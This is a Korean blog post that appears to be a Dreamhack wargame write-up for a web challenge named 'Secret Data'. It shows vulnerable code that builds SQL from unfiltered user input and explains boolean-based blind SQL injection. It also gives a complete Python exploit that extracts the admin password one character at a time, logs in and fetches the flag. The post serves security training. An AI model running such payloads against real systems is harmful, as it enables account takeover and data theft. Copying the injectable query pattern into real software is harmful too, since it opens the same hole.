Hy0unSa9ng
[Web] Secret Data 본문
sql = f"SELECT COUNT(*) FROM secret_data WHERE title LIKE '%{query}%'"
deploy/app.py의 search 라우트를 보면 사용자의 입력값(query)을 필터링 없이 그대로 SQL 쿼리문에 삽입하고 있습니다.
위 SQL 쿼리르 직접으로 입력하게 되면 아래와 같은 코드로 보일 수 있습니다.
SELECT COUNT(*) FROM secret_data WHERE title LIKE '%%' AND 1=1 AND '%'='%'
결과가 참(1=1)인 경우 Found! Data exists in our records.를, 거짓(1=0)이면 Not found!를 반환하는 점을 이용하여 Boolean-based Blind SQL Injection 공격을 수행할 수 있습니다.
cursor.execute(f"INSERT OR IGNORE INTO users (username, password) VALUES ('admin', '{os.urandom(8).hex()}')")
코드 상에서 어드민 계정의 비밀번호를 Hex로 자동생성을 사용하는 것을 알 수 있고, 16자리의 16진수(0-9, a-f) 문자열로 이루어져 있음을 유추해 볼 수 있습니다.
위 내용을 바탕으로 아래의 Exploit를 작성하였습니다.
Exploit Code
import requests
import string
import sys
import re
def exploit(url):
password = ""
charset = string.digits + "abcdef"
print("[*] Extracting admin password...")
for i in range(1, 17):
for char in charset:
payload = f"%' AND (SELECT substr(password,{i},1) FROM users WHERE username='admin')='{char}' AND '%'='"
data = {"query": payload}
r = requests.post(f"{url}/search", data=data)
if "Found! Data exists in our records." in r.text:
password += char
print(f"[+] Found char {i}: {char} (Current: {password})")
break
print(f"\n[+] Admin password extracted: {password}")
if len(password) != 16:
print("[-] Failed to extract the full password. Is the target correct?")
return
print("\n[*] Logging in...")
session = requests.Session()
login_data = {
"username": "admin",
"password": password
}
r = session.post(f"{url}/login", data=login_data)
if "Login successful!" in r.text or "admin" in r.text:
print("[+] Logged in successfully!")
else:
print("[-] Login failed.")
print("[*] Getting flag...")
r = session.get(f"{url}/admin")
match = re.search(r'DH\{.*?\}', r.text)
if match:
print(f"\n[+] FLAG: {match.group(0)}")
else:
print("\n[-] Flag not found in response.")
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: python {sys.argv[0]} <target_url>")
print(f"Example: python {sys.argv[0]} http://host3.dreamhack.games:XXXXX")
sys.exit(1)
target_url = sys.argv[1].rstrip("/")
exploit(target_url)

위 코드를 이용하여 풀이하는 경우 성공적으로 풀이할 수 있습니다!
'Wargame > Dreamhack' 카테고리의 다른 글
| [Web] 막창 좋아하세요? 🌱 (0) | 2026.04.26 |
|---|---|
| [Web] php7cm4re (0) | 2026.04.26 |
